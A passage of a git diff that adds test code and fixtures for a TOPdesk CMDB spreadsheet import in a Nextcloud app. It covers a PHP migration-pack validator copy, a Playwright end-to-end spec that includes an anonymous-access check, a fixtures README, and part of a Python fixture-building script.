a/tests/Unit/Support/OpenRegister/PackDefinitionValidator.php b/tests/Unit/Support/OpenRegister/PackDefinitionValidator.php new file mode 100644 index 000000000..6d4afb1ad --- /dev/null +++ b/tests/Unit/Support/OpenRegister/PackDefinitionValidator.php @@ -0,0 +1,383 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * + * @link https://OpenRegister.app + * + * @spec exclude test copy of an OpenRegister class; its spec is migration-mapping-packs in the openregister repository + */ + +declare(strict_types=1); + +/* + * TEST COPY, not loaded in production. Verbatim copy of OpenRegister + * lib/Service/MigrationPack/PackDefinitionValidator.php at version 2.1.34, so the + * CMDB import tests run where OpenRegister is not checked out (CI). Where it is, + * tests/Unit/Support/CmdbTestSupport.php loads the real class instead (set + * OPENREGISTER_DIR). Refresh this copy when OpenRegister changes the pack format. + */ + + +namespace OCA\OpenRegister\Service\MigrationPack; + +use InvalidArgumentException; + +/** + * Structural + business-rule validator for a migration-pack JSON document. + * + * @spec exclude test copy of an OpenRegister class; its spec is migration-mapping-packs in the openregister repository + * + * @SuppressWarnings(PHPMD.ExcessiveClassComplexity) One small, independently-testable validate*() method + * per pack-document field keeps each check simple; the class total sums them, not any single method. + */ +class PackDefinitionValidator { + /** + * Source formats a pack may declare. + * + * @var string[] + */ + public const ALLOWED_SOURCE_FORMATS = ['csv', 'json', 'excel']; + + /** + * Transform types a field mapping may declare. + * + * @var string[] + */ + public const ALLOWED_TRANSFORM_TYPES = ['trim', 'date', 'bool-map', 'concat', 'lookup', 'const']; + + /** + * IdStrategy types a pack may declare. + * + * @var string[] + */ + public const ALLOWED_ID_STRATEGY_TYPES = ['sourceField', 'generate']; + + /** + * Validate a pack definition document. + * + * @param array $definition The decoded pack definition JSON. + * + * @return string[] List of validation error messages. Empty when valid. + * + * @spec exclude test copy of an OpenRegister class; its spec is migration-mapping-packs in the openregister repository + */ + public function validate(array $definition): array { + $errors = []; + + $errors = array_merge($errors, $this->validateId(definition: $definition)); + $errors = array_merge($errors, $this->validateName(definition: $definition)); + $errors = array_merge($errors, $this->validateSourceFormat(definition: $definition)); + $errors = array_merge($errors, $this->validateVersion(definition: $definition)); + $errors = array_merge($errors, $this->validateFieldMappings(definition: $definition)); + $errors = array_merge($errors, $this->validateDefaults(definition: $definition)); + $errors = array_merge($errors, $this->validateSkipRows(definition: $definition)); + $errors = array_merge($errors, $this->validateIdStrategy(definition: $definition)); + + return $errors; + }//end validate() + + /** + * Validate and throw on the first structural problem. + * + * @param array $definition The decoded pack definition JSON. + * + * @return void + * + * @throws InvalidArgumentException When the definition is invalid. The message joins every error found. + * + * @spec exclude test copy of an OpenRegister class; its spec is migration-mapping-packs in the openregister repository + */ + public function assertValid(array $definition): void { + $errors = $this->validate(definition: $definition); + if (empty($errors) === false) { + throw new InvalidArgumentException('Invalid migration pack definition: ' . implode('; ', $errors)); + } + }//end assertValid() + + /** + * Validate the `id` field (pack slug, used as the lookup key). + * + * @param array $definition The pack definition. + * + * @return string[] + */ + private function validateId(array $definition): array { + $id = $definition['id'] ?? null; + if (is_string($id) === false || $id === '') { + return ['"id" is required and must be a non-empty string']; + } + + if (preg_match('/^[a-z0-9][a-z0-9-]*$/', $id) !== 1) { + return ['"id" must be a lowercase slug (letters, digits, hyphens), got "' . $id . '"']; + } + + return []; + }//end validateId() + + /** + * Validate the `name` field. + * + * @param array $definition The pack definition. + * + * @return string[] + */ + private function validateName(array $definition): array { + $name = $definition['name'] ?? null; + if (is_string($name) === false || $name === '') { + return ['"name" is required and must be a non-empty string']; + } + + return []; + }//end validateName() + + /** + * Validate the `sourceFormat` field. + * + * @param array $definition The pack definition. + * + * @return string[] + */ + private function validateSourceFormat(array $definition): array { + $format = $definition['sourceFormat'] ?? null; + if (is_string($format) === false || in_array($format, self::ALLOWED_SOURCE_FORMATS, true) === false) { + return [ + '"sourceFormat" must be one of: ' . implode(', ', self::ALLOWED_SOURCE_FORMATS) + . ' (got ' . var_export($format, true) . ')', + ]; + } + + return []; + }//end validateSourceFormat() + + /** + * Validate the `version` field (strict semver: MAJOR.MINOR.PATCH). + * + * @param array $definition The pack definition. + * + * @return string[] + */ + private function validateVersion(array $definition): array { + $version = $definition['version'] ?? null; + if (is_string($version) === false || preg_match('/^\d+\.\d+\.\d+$/', $version) !== 1) { + return ['"version" must be a semver string (MAJOR.MINOR.PATCH), got ' . var_export($version, true)]; + } + + return []; + }//end validateVersion() + + /** + * Validate the `fieldMappings` array and every entry within it. + * + * @param array $definition The pack definition. + * + * @return string[] + * + * @SuppressWarnings(PHPMD.CyclomaticComplexity) Per-transform-type validation requires many branches. + * @SuppressWarnings(PHPMD.NPathComplexity) Per-transform-type validation requires many branches. + */ + private function validateFieldMappings(array $definition): array { + $mappings = $definition['fieldMappings'] ?? null; + if (is_array($mappings) === false || empty($mappings) === true) { + return ['"fieldMappings" is required and must be a non-empty array']; + } + + $errors = []; + foreach ($mappings as $index => $mapping) { + $path = 'fieldMappings[' . $index . ']'; + if (is_array($mapping) === false) { + $errors[] = $path . ' must be an object'; + continue; + } + + $source = $mapping['source'] ?? null; + if (is_string($source) === false || $source === '') { + $errors[] = $path . '.source is required and must be a non-empty string'; + } + + $target = $mapping['target'] ?? null; + if (is_string($target) === false || $target === '') { + $errors[] = $path . '.target is required and must be a non-empty string'; + } + + if (isset($mapping['required']) === true && is_bool($mapping['required']) === false) { + $errors[] = $path . '.required must be a boolean when present'; + } + + if (isset($mapping['transform']) === true) { + $errors = array_merge($errors, $this->validateTransform(transform: $mapping['transform'], path: $path . '.transform')); + } + }//end foreach + + return $errors; + }//end validateFieldMappings() + + /** + * Validate one `transform` block. + * + * @param mixed $transform The transform value to validate. + * @param string $path The error-message path prefix. + * + * @return string[] + * + * @SuppressWarnings(PHPMD.CyclomaticComplexity) Each transform type has its own required-field shape. + * @SuppressWarnings(PHPMD.NPathComplexity) Each transform type has its own required-field shape. + */ + private function validateTransform($transform, string $path): array { + if (is_array($transform) === false) { + return [$path . ' must be an object with a "type" key']; + } + + $type = $transform['type'] ?? null; + if (is_string($type) === false || in_array($type, self::ALLOWED_TRANSFORM_TYPES, true) === false) { + return [ + $path . '.type must be one of: ' . implode(', ', self::ALLOWED_TRANSFORM_TYPES) + . ' (got ' . var_export($type, true) . ')', + ]; + } + + switch ($type) { + case 'date': + if (isset($transform['sourceFormat']) === true && is_string($transform['sourceFormat']) === false) { + return [$path . '.sourceFormat must be a string when present']; + } + + if (isset($transform['targetFormat']) === true && is_string($transform['targetFormat']) === false) { + return [$path . '.targetFormat must be a string when present']; + } + break; + + case 'bool-map': + if (is_array($transform['map'] ?? null) === false || empty($transform['map']) === true) { + return [$path . '.map is required and must be a non-empty object for a bool-map transform']; + } + break; + + case 'lookup': + if (is_array($transform['map'] ?? null) === false || empty($transform['map']) === true) { + return [$path . '.map is required and must be a non-empty object for a lookup transform']; + } + break; + + case 'concat': + if (is_array($transform['fields'] ?? null) === false || empty($transform['fields']) === true) { + return [$path . '.fields is required and must be a non-empty array for a concat transform']; + } + + foreach ($transform['fields'] as $fieldIndex => $field) { + if (is_string($field) === false || $field === '') { + return [$path . '.fields[' . $fieldIndex . '] must be a non-empty string']; + } + } + break; + + case 'const': + if (array_key_exists('value', $transform) === false) { + return [$path . '.value is required for a const transform']; + } + break; + + case 'trim': + default: + // No extra fields required. + break; + }//end switch + + return []; + }//end validateTransform() + + /** + * Validate the optional `defaults` map. + * + * @param array $definition The pack definition. + * + * @return string[] + */ + private function validateDefaults(array $definition): array { + if (isset($definition['defaults']) === false) { + return []; + } + + if (is_array($definition['defaults']) === false) { + return ['"defaults" must be an object of target-property => default value when present']; + } + + return []; + }//end validateDefaults() + + /** + * Validate the optional `skipRows` array. + * + * @param array $definition The pack definition. + * + * @return string[] + */ + private function validateSkipRows(array $definition): array { + if (isset($definition['skipRows']) === false) { + return []; + } + + if (is_array($definition['skipRows']) === false) { + return ['"skipRows" must be an array of row numbers when present']; + } + + foreach ($definition['skipRows'] as $row) { + if (is_int($row) === false || $row < 1) { + return ['"skipRows" entries must be positive integers']; + } + } + + return []; + }//end validateSkipRows() + + /** + * Validate the required `idStrategy` block. + * + * @param array $definition The pack definition. + * + * @return string[] + */ + private function validateIdStrategy(array $definition): array { + $idStrategy = $definition['idStrategy'] ?? null; + if (is_array($idStrategy) === false) { + return ['"idStrategy" is required and must be an object with a "type" key']; + } + + $type = $idStrategy['type'] ?? null; + if (is_string($type) === false || in_array($type, self::ALLOWED_ID_STRATEGY_TYPES, true) === false) { + return [ + 'idStrategy.type must be one of: ' . implode(', ', self::ALLOWED_ID_STRATEGY_TYPES) + . ' (got ' . var_export($type, true) . ')', + ]; + } + + if ($type === 'sourceField' + && (is_string($idStrategy['field'] ?? null) === false || $idStrategy['field'] === '') + ) { + return ['idStrategy.field is required and must be a non-empty string when idStrategy.type is "sourceField"']; + } + + return []; + }//end validateIdStrategy() +}//end class diff --git a/tests/e2e/spec-coverage/cmdb-import.spec.ts b/tests/e2e/spec-coverage/cmdb-import.spec.ts new file mode 100644 index 000000000..29927a1ac --- /dev/null +++ b/tests/e2e/spec-coverage/cmdb-import.spec.ts @@ -0,0 +1,566 @@ +// SPDX-License-Identifier: EUPL-1.2 +// SPDX-FileCopyrightText: 2026 Conduction B.V. +/** + * E2e coverage for openspec/changes/cmdb-export-import (the "CMDB import" + * section of stackiq's Nextcloud admin settings). + * + * Every scenario the spec tags `@e2e tests/e2e/spec-coverage/cmdb-import.spec.ts` + * is driven here through the REAL settings page: the NcSelect municipality + * chooser, the real file input (`setInputFiles`), the Import button and the + * rendered report. The API is used for setup (a run-unique municipality), + * for the "no object written" checks, and for cleanup. + * + * The municipality is created per run (`Gemeente Voorbeeldstad `), + * because the import's match key is scoped to the municipality: a fixed name + * would make the first import of a second run report `unchanged`, not + * `created`. + * + * The anonymised fixtures come from the backend task + * (tests/fixtures/cmdb/, see its README). When one is absent the test that + * needs it is skipped with a message naming the missing file. + * + * Owner contacts the import creates in the admin's Nextcloud address book + * are not removed by the cleanup below; the OpenRegister objects are. + * + * The last test checks, without signing in, that the imported owners are + * not readable anonymously: neither through OpenRegister's objects API nor + * in an OpenCatalogi search hit (skipped when OpenCatalogi is not installed). + */ + +import type { APIRequestContext, Locator, Page, Response } from '@playwright/test' +import type { VoorzieningenConfig } from '../workflows/_fixtures.ts' + +import { expect, request as playwrightRequest, test } from '@playwright/test' +import * as fs from 'fs' +import * as path from 'path' +import { + BASE_URL, + createObject, + deleteObject, + findAll, + newApiContext, + resolveConfig, + RUN_ID, +} from '../workflows/_fixtures.ts' + +const FIXTURES_DIR = path.resolve(__dirname, '../../fixtures/cmdb') +const EXPORT_FIXTURE = path.join(FIXTURES_DIR, 'topdesk-export-anonymised.xlsx') +const MISSING_COLUMN_FIXTURE = path.join(FIXTURES_DIR, 'topdesk-missing-appid.xlsx') +// The owner values the anonymised export holds (tests/fixtures/cmdb/README.md). +const OWNER_VALUES = ['Achternaam', 'Voornaam', 'Teamleider Applicatiebeheer'] + +type UploadFile = Parameters[0] + +const MUNICIPALITY_NAME = `Gemeente Voorbeeldstad ${RUN_ID}` +const IMPORT_PATH = '/index.php/apps/stackiq/api/cmdb-import' +// The page builds its URL with generateUrl(), which drops `/index.php` on an +// instance with pretty URLs, so the browser-side matchers use the path tail. +const IMPORT_ROUTE = '**/apps/stackiq/api/cmdb-import' + +/** + * Whether a response is the answer to the import upload. + * + * @param response The response + */ +function isImportAnswer(response: Response): boolean { + return ( + new URL(response.url()).pathname.endsWith('/apps/stackiq/api/cmdb-import') + && response.request().method() === 'POST' + ) +} + +let config: VoorzieningenConfig +let municipalityUuid = '' + +/** + * Skip the calling test when a fixture is not there yet. + * + * @param file The fixture path + */ +function requireFixture(file: string): void { + test.skip( + !fs.existsSync(file), + `Fixture ${path.relative(process.cwd(), file)} is missing; it is produced by Task 1 of openspec/changes/cmdb-export-import (tests/fixtures/cmdb/build-fixtures.py).`, + ) +} + +/** + * All objects of a schema whose data mentions the run's municipality: its + * usages (consumer), modules (externalKey) and contact persons (organization). + * + * @param ctx The API context + * @param schema The schema id + */ +async function objectsOfMunicipality( + ctx: APIRequestContext, + schema: string, +): Promise>> { + const rows = await findAll(ctx, config.register, schema) + return rows.filter((row) => JSON.stringify(row).includes(municipalityUuid)) +} + +/** + * Count the objects the import can write for the run's municipality. + * + * @param ctx The API context + */ +async function countWritten(ctx: APIRequestContext): Promise<{ + modules: number + usages: number + contactPersons: number + municipalities: number +}> { + const municipalities = ( + await findAll(ctx, config.register, config.organisatie_schema) + ).filter((org) => org.type === 'Municipality') + return { + modules: (await objectsOfMunicipality(ctx, config.module_schema)).length, + usages: (await objectsOfMunicipality(ctx, config.gebruik_schema)).length, + contactPersons: ( + await objectsOfMunicipality(ctx, config.contactpersoon_schema) + ).length, + municipalities: municipalities.length, + } +} + +/** + * Get Nextcloud's own first-run wizard out of the way. + * + * It opens on an admin's first visit to a fresh instance, and its modal mask + * intercepts every click, so the chooser below would time out on a click + * that reads like a broken select. It has no close button and ignores + * Escape until its last slide, so it is marked as seen through its own + * route (what finishing it does) and the page is loaded again. A bounded + * wait, because the wizard mounts after the page. + * + * @param page The page + * @return True when the page was reloaded + */ +async function dismissFirstRunWizard(page: Page): Promise { + const wizard = page.locator('.first-run-wizard[role="dialog"]') + try { + await wizard.waitFor({ state: 'visible', timeout: 3000 }) + } catch { + return false + } + await page.evaluate(async () => { + const oc = ( + window as unknown as { + OC: { requestToken: string; generateUrl: (u: string) => string } + } + ).OC + await fetch(oc.generateUrl('/apps/firstrunwizard/wizard'), { + method: 'DELETE', + headers: { requesttoken: oc.requestToken }, + }) + }) + await page.reload({ waitUntil: 'domcontentloaded' }) + return true +} + +/** + * Open stackiq's admin settings and return the CMDB import section. + * + * @param page The page + */ +async function gotoCmdbSection(page: Page) { + await page.goto('/settings/admin/stackiq', { waitUntil: 'domcontentloaded' }) + const section = page.locator('[data-testid="cmdb-import"]') + await expect(section).toBeVisible({ timeout: 30000 }) + if (await dismissFirstRunWizard(page)) { + await expect(section).toBeVisible({ timeout: 30000 }) + } + await section.scrollIntoViewIfNeeded() + return section +} + +/** + * Pick the run's municipality in the chooser, the way an admin does. + * + * @param page The page + */ +async function chooseMunicipality(page: Page): Promise { + const input = page.locator('#cmdb-import-municipality') + await input.click() + await input.fill(MUNICIPALITY_NAME) + await page + .getByRole('option') + // hasText, not the accessible name: NcSelect splits a long option + // into two spans for its middle ellipsis. + .filter({ hasText: MUNICIPALITY_NAME }) + .first() + .click() + await expect( + page.locator('[data-testid="cmdb-import-municipality"] .vs__selected'), + ).toContainText(MUNICIPALITY_NAME) +} + +/** + * Read one summary count from the rendered report. + * + * @param page The page + * @param key The summary key (created, unchanged, …) + */ +function summaryValue(page: Page, key: string) { + return page.locator( + `[data-testid="cmdb-import-summary-${key}"] .cmdb-import__tile-value`, + ) +} + +/** + * The rendered report rows. + * + * @param page The page + */ +function reportRows(page: Page) { + return page.locator( + '[data-testid="cmdb-import-rows"] [data-testid="cn-object-row"]', + ) +} + +/** + * Choose a file, press Import and wait for the import request to answer. + * + * @param page The page + * @param file The file to upload + */ +async function runImport(page: Page, file: UploadFile) { + await page.locator('[data-testid="cmdb-import-file"]').setInputFiles(file) + const answer = page.waitForResponse(isImportAnswer, { timeout: 120000 }) + await page.locator('[data-testid="cmdb-import-start"]').click() + return await answer +} + +test.describe.serial('CMDB import section', () => { + test.beforeAll(async () => { + const ctx = await newApiContext() + try { + config = await resolveConfig(ctx) + municipalityUuid = await createObject( + ctx, + config.register, + config.organisatie_schema, + { name: MUNICIPALITY_NAME, type: 'Municipality', status: 'Active' }, + ) + } finally { + await ctx.dispose() + } + }) + + test.afterAll(async () => { + if (!municipalityUuid) { + return + } + const ctx = await newApiContext() + try { + for (const schema of [ + config.gebruik_schema, + config.contactpersoon_schema, + config.module_schema, + ]) { + for (const row of await objectsOfMunicipality(ctx, schema)) { + const id = String( + row.id + ?? (row['@self'] as { id?: string } | undefined)?.id + ?? '', + ) + if (id !== '') { + await deleteObject(ctx, config.register, schema, id) + } + } + } + await deleteObject( + ctx, + config.register, + config.organisatie_schema, + municipalityUuid, + ) + } finally { + await ctx.dispose() + } + }) + + // @e2e cmdb-export-import::the-admin-runs-an-import-from-the-settings-page + // @e2e cmdb-export-import::the-admin-picks-an-existing-municipality + // @e2e cmdb-export-import::upload-with-a-per-row-report + test('an admin imports the anonymised export for an existing municipality', async ({ + page, + }) => { + requireFixture(EXPORT_FIXTURE) + const ctx = await newApiContext() + const before = await countWritten(ctx) + + const section = await gotoCmdbSection(page) + await chooseMunicipality(page) + + // Hold the import request for a moment so the running state is + // observable. route.continue() forwards the original multipart body; + // route.fetch() would re-send it without the file. + await page.route(IMPORT_ROUTE, async (route) => { + await new Promise((resolve) => setTimeout(resolve, 1500)) + await route.continue() + }) + await page + .locator('[data-testid="cmdb-import-file"]') + .setInputFiles(EXPORT_FIXTURE) + const answer = page.waitForResponse(isImportAnswer, { timeout: 120000 }) + await page.locator('[data-testid="cmdb-import-start"]').click() + + // A progress bar shows while the import runs. + const progress = section.locator('[data-testid="cmdb-import-progress"]') + await expect(progress).toBeVisible() + await expect(progress.getByRole('progressbar')).toBeVisible() + await expect( + section.locator('[data-testid="cmdb-import-cancel"]'), + ).toBeVisible() + + const response = await answer + expect(response.status()).toBe(200) + await page.unroute(IMPORT_ROUTE) + await expect(progress).toBeHidden({ timeout: 30000 }) + + // Summary: 2 rows read, 2 created. + await expect( + section.locator('[data-testid="cmdb-import-summary"]'), + ).toBeVisible() + await expect(summaryValue(page, 'rowsRead')).toHaveText('2') + await expect(summaryValue(page, 'created')).toHaveText('2') + + // The report lists exactly the two data rows, not the hundreds of + // formatted but empty rows below them, each created with a module link. + const rows = reportRows(page) + await expect(rows).toHaveCount(2) + for (const [sheet, appId, name] of [ + ['Onbeh Applicaties CMDB', '1234', 'Aangetekend Mailen'], + ['Beheerde Applicaties CMDB', '2', 'naamtest123'], + ]) { + const row = rows.filter({ hasText: name }) + await expect(row).toHaveCount(1) + await expect(row).toContainText(sheet) + await expect(row.locator('td').nth(1)).toHaveText('2') + await expect(row.locator('td').nth(2)).toHaveText(appId) + await expect(row.locator('[data-outcome="created"]')).toBeVisible() + await expect( + row.locator('[data-testid="cmdb-import-module-link"]'), + ).toHaveAttribute('href', /\/apps\/stackiq\/modules\/[0-9a-f-]{36}$/) + } + + // Filtering the table on `created` shows the two imported rows. + await section.locator('#cmdb-import-outcome-filter').click() + await page + .getByRole('option') + .filter({ hasText: /^\s*(Created|Aangemaakt)\s*$/ }) + .first() + .click() + await expect(rows).toHaveCount(2) + + // Both usages point at the chosen municipality, and no new + // municipality was created. + const after = await countWritten(ctx) + expect(after.usages - before.usages).toBe(2) + expect(after.modules - before.modules).toBe(2) + expect(after.municipalities).toBe(before.municipalities) + const usages = await objectsOfMunicipality(ctx, config.gebruik_schema) + for (const usage of usages) { + expect(String(usage.consumer)).toContain(municipalityUuid) + } + await ctx.dispose() + }) + + // @e2e cmdb-export-import::re-importing-the-same-export-creates-no-duplicates + test('importing the same export again reports both rows unchanged', async ({ + page, + }) => { + requireFixture(EXPORT_FIXTURE) + const ctx = await newApiContext() + const before = await countWritten(ctx) + test.skip( + before.modules === 0, + 'The first import (previous test) wrote nothing for this municipality, so there is nothing to re-import.', + ) + + const section = await gotoCmdbSection(page) + await chooseMunicipality(page) + const response = await runImport(page, EXPORT_FIXTURE) + expect(response.status()).toBe(200) + + await expect(summaryValue(page, 'rowsRead')).toHaveText('2') + await expect(summaryValue(page, 'created')).toHaveText('0') + await expect(summaryValue(page, 'unchanged')).toHaveText('2') + await expect( + reportRows(page).locator('[data-outcome="unchanged"]'), + ).toHaveCount(2) + await expect( + section.locator('[data-testid="cmdb-import-error"]'), + ).toHaveCount(0) + + // Same number of modules, usages, contact persons and municipalities. + expect(await countWritten(ctx)).toEqual(before) + await ctx.dispose() + }) + + // @e2e cmdb-export-import::a-missing-required-column-is-named-in-the-422-response + test('an export without a required column names the column and the sheet', async ({ + page, + }) => { + requireFixture(MISSING_COLUMN_FIXTURE) + const ctx = await newApiContext() + const before = await countWritten(ctx) + + const section = await gotoCmdbSection(page) + await chooseMunicipality(page) + const response = await runImport(page, MISSING_COLUMN_FIXTURE) + + expect(response.status()).toBe(422) + const body = await response.json() + expect(body.error).toBe('MISSING_COLUMN') + expect(body.details).toEqual({ + sheet: 'Beheerde Applicaties CMDB', + column: 'APPID', + }) + + const error = section.locator('[data-testid="cmdb-import-error"]') + await expect(error).toBeVisible() + await expect(error).toContainText('"Beheerde Applicaties CMDB"') + await expect(error).toContainText('"APPID"') + await expect(error).toContainText('MISSING_COLUMN') + await expect( + section.locator('[data-testid="cmdb-import-report"]'), + ).toHaveCount(0) + + expect(await countWritten(ctx)).toEqual(before) + await ctx.dispose() + }) + + // @e2e cmdb-export-import::a-file-that-is-not-xlsx-is-rejected + test('a CSV, or a text file named .xlsx, is rejected as not xlsx', async ({ + page, + }) => { + const ctx = await newApiContext() + const before = await countWritten(ctx) + const csv = { + name: 'applications.csv', + mimeType: 'text/csv', + buffer: Buffer.from('APPID;Applicatie Naam\n2;naamtest123\n'), + } + const textAsXlsx = { + name: 'export.xlsx', + mimeType: + 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', + buffer: Buffer.from('APPID;Applicatie Naam\n2;naamtest123\n'), + } + + // The endpoint answers 400 NOT_XLSX for both. + for (const file of [csv, textAsXlsx]) { + const res = await ctx.post(IMPORT_PATH, { + multipart: { + cmdbFile: file, + municipalityUuid, + }, + }) + expect(res.status(), file.name).toBe(400) + expect((await res.json()).error, file.name).toBe('NOT_XLSX') + } + + // The section shows the NOT_XLSX message for both: for the CSV before + // anything is sent, for the text file from the server's answer. + const section = await gotoCmdbSection(page) + await chooseMunicipality(page) + const error = section.locator('[data-testid="cmdb-import-error"]') + + await page.locator('[data-testid="cmdb-import-file"]').setInputFiles(csv) + await expect(error).toBeVisible() + await expect(error).toContainText('NOT_XLSX') + await expect(error).toContainText('.xlsx') + + const response = await runImport(page, textAsXlsx) + expect(response.status()).toBe(400) + await expect(error).toBeVisible() + await expect(error).toContainText('NOT_XLSX') + + // No module, usage, contact person or municipality was written. + expect(await countWritten(ctx)).toEqual(before) + await ctx.dispose() + }) + + // @e2e cmdb-export-import::imported-owners-are-never-readable-anonymously + test('the imported owners are not readable without signing in', async () => { + requireFixture(EXPORT_FIXTURE) + const ctx = await newApiContext() + const written = await countWritten(ctx) + await ctx.dispose() + test.skip( + written.contactPersons === 0, + 'The first import (first test) wrote no owner for this municipality, so there is nothing to look for.', + ) + + // Inside the test runner a new request context inherits the project's + // `use` options, including the admin storageState; clear it explicitly. + const anonymous = await playwrightRequest.newContext({ + baseURL: BASE_URL, + storageState: { cookies: [], origins: [] }, + }) + try { + // Prove the context is anonymous before trusting an empty answer. + const whoami = await anonymous.get( + '/ocs/v2.php/cloud/user?format=json', + { + headers: { 'OCS-APIRequest': 'true' }, + }, + ) + expect(whoami.status(), 'the context must not be signed in').toBe(401) + + // OpenRegister: no contact person and no usage for an anonymous caller. + for (const schema of [ + config.contactpersoon_schema, + config.gebruik_schema, + ]) { + const res = await anonymous.get( + `/index.php/apps/openregister/api/objects/${config.register}/${schema}?_limit=200`, + ) + if (res.ok()) { + const body = await res.json() + expect( + body.total ?? (body.results ?? []).length, + `schema ${schema}`, + ).toBe(0) + } else { + expect([401, 403], `schema ${schema}`).toContain(res.status()) + } + } + + // OpenCatalogi: a search hit for an imported module names nobody. + const search = await anonymous.get( + '/index.php/apps/opencatalogi/api/search?_search=naamtest123&_limit=50', + ) + test.skip( + search.status() === 404, + 'OpenCatalogi is not installed on this instance.', + ) + expect(search.ok()).toBe(true) + const hits = ((await search.json()).results ?? []) as Array< + Record + > + for (const hit of hits) { + const text = JSON.stringify(hit) + for (const value of OWNER_VALUES) { + expect(text, `search hit ${String(hit.id)}`).not.toContain(value) + } + for (const field of ['contactPerson', 'usages']) { + const value = hit[field] + const ids = Array.isArray(value) ? value : [value] + for (const id of ids) { + expect( + id === null + || id === undefined + || typeof id === 'string', + `${field} of search hit ${String(hit.id)} is an id or empty`, + ).toBe(true) + } + } + } + } finally { + await anonymous.dispose() + } + }) +}) diff --git a/tests/fixtures/cmdb/README.md b/tests/fixtures/cmdb/README.md new file mode 100644 index 000000000..c94830307 --- /dev/null +++ b/tests/fixtures/cmdb/README.md @@ -0,0 +1,45 @@ +# CMDB import fixtures + +Test workbooks for the TOPdesk CMDB import (`openspec/changes/cmdb-export-import`). +They are used by the PHPUnit tests under `tests/Unit/` and by the Playwright test +`tests/e2e/spec-coverage/cmdb-import.spec.ts`. + +The import reads the two CMDB sheets, "Onbeh Applicaties CMDB" and "Beheerde +Applicaties CMDB". Their cells are formulas over the "Invoer" sheets; the import +reads the value Excel cached for each formula. `build-fixtures.py` writes a +placeholder cached value into the formula cells of the mapped columns that the +anonymised export left empty (Roepnaam, Applicatiesoort, the owner's function and +person on "Beheerde", BNN Classificatie, Nickname, …); the list is `CACHED_VALUES` +in the script. The "Invoer" sheets are not read and stay as they are. + +| File | What it is | +|---|---| +| `topdesk-export-anonymised.xlsx` | An anonymised TOPdesk export with one fake data row per CMDB sheet (APPID 1234 on "Onbeh", APPID 2 on "Beheerde"), formatted but empty rows below them, and on "Beheerde" ten formula rows whose cached value is `0` (Excel's result for a reference to an empty cell). Document metadata, custom properties, `customXml/`, the workbook's absolute save path and `xl/connections.xml` are removed. | +| `topdesk-missing-appid.xlsx` | The same, but the "APPID" header of "Beheerde Applicaties CMDB" is renamed, so the required column is missing there. | +| `topdesk-shuffled-columns.xlsx` | The same rows with the columns of both CMDB sheets in reverse order, and the header "Vendor" written as `Vendor⚡`. Reads to the same rows as the original. | +| `topdesk-formula-and-connection.xlsx` | On "Beheerde", "Applicatie Naam" is a formula that would evaluate to `Evaluated` with the cached value `Rekenmodel`, "Roepnaam" is a formula without any cached value, and the package declares a synthetic external web connection to `https://example.invalid/`. | +| `topdesk-no-source-sheet.xlsx` | A minimal workbook with only a sheet "Blad1". | + +## Placeholder data only + +Every person value is a placeholder: `Achternaam, Voornaam`, +`letter.achternaam@gemeente.nl`, `groepsmail.test@gemeente.nl`, personnel +number `123456`, and the function `Teamleider Applicatiebeheer` where the CMDB +sheet shows a function instead of an owner. `tests/Unit/Fixtures/CmdbFixtureHygieneTest.php` +fails when a fixture holds document metadata, an e-mail address, a linked host or +a long number that is not on its placeholder list. Never commit a municipality's +own export, not even temporarily. + +## Rebuilding + +`build-fixtures.py` uses the Python standard library only: + +```bash +# Write the cached values into the committed export (idempotent) and derive the variants +python3 tests/fixtures/cmdb/build-fixtures.py + +# Sanitise a new anonymised export first, then write the cached values and derive the variants +python3 tests/fixtures/cmdb/build-fixtures.py --source path/to/anonymised-export.xlsx +``` + +Run the hygiene test afterwards. diff --git a/tests/fixtures/cmdb/build-fixtures.py b/tests/fixtures/cmdb/build-fixtures.py new file mode 100644 index 000000000..8536f73e7 --- /dev/null +++ b/tests/fixtures/cmdb/build-fixtures.py @@ -0,0 +1,355 @@ +#!/usr/bin/env python3 +# SPDX-FileCopyrightText: 2026 Conduction B.V. +# SPDX-License-Identifier: EUPL-1.2 +"""Build the CMDB import test fixtures (cmdb-export-import, Task 1). + +Python standard library only (zipfile, re). openpyxl is deliberately not used: +re-saving through a spreadsheet library would rewrite every part of the +package, and the point of these fixtures is to stay byte-close to a real +TOPdesk export. + +Usage: + + python3 build-fixtures.py --source + Sanitise an already anonymised export into topdesk-export-anonymised.xlsx + (strip document metadata, custom properties, customXml, the workbook's + absolute path and xl/connections.xml), write the placeholder cached + values into the CMDB sheets, then derive the variants. + + python3 build-fixtures.py + Write the placeholder cached values into the committed + topdesk-export-anonymised.xlsx (idempotent) and derive the variants. + +The import reads the two CMDB sheets ("Onbeh Applicaties CMDB", +"Beheerde Applicaties CMDB"). Their cells are formulas that read the "Invoer" +sheets; the import reads the value Excel cached for each formula and never +evaluates one. The anonymised export had empty cached values for several +mapped columns, so CACHED_VALUES below writes a placeholder cached value into +those formula cells (the formula itself is kept). The "Invoer" sheets are not +read and are left as they are. + +Never run this on a municipality's original export: the source must already +carry placeholder values only. tests/Unit/Fixtures/CmdbFixtureHygieneTest.php +fails when a fixture holds metadata or person data that is not a placeholder. +""" + +import argparse +import os +import re +import sys +import zipfile + +HERE = os.path.dirname(os.path.abspath(__file__)) +SANITISED = os.path.join(HERE, 'topdesk-export-anonymised.xlsx') + +# Parts that never belong in a fixture. +DROP_PARTS = ('docProps/custom.xml', 'xl/connections.xml') +DROP_PREFIXES = ('customXml/',) + +ONBEH_SHEET = 'xl/worksheets/sheet2.xml' # "Onbeh Applicaties CMDB" (from AIA) +BEHEERDE_SHEET = 'xl/worksheets/sheet4.xml' # "Beheerde Applicaties CMDB" (from APP) + +# Placeholder cached values for formula cells of the CMDB sheets, per sheet and +# cell. A cell that does not exist yet is appended to its row (columns are in +# order: every cell named here lies right of the row's last cell). +CACHED_VALUES = { + ONBEH_SHEET: { + 'E2': 'Mailen', # Roepnaam + 'AE2': 'Herbeoordeling', # Rappelreden + 'AH2': 'Ja', # Locatie BIOToets + 'AI2': 'Geen', # Software Suite + }, + BEHEERDE_SHEET: { + 'E2': 'Naamtest', # Roepnaam + 'I2': 'Saas', # Applicatiesoort + 'AB2': 'Ja', # Cloud (IF(Applicatiesoort="Saas","Ja","Nee")) + 'L2': 'Teamleider Applicatiebeheer', # Applicatie Eigenaar (Functie) + 'M2': 'Teamleider Applicatiebeheer', # Applicatie Eigenaar (Persoon): no Eigenaar, so the function + 'AF2': 'Herbeoordeling', # 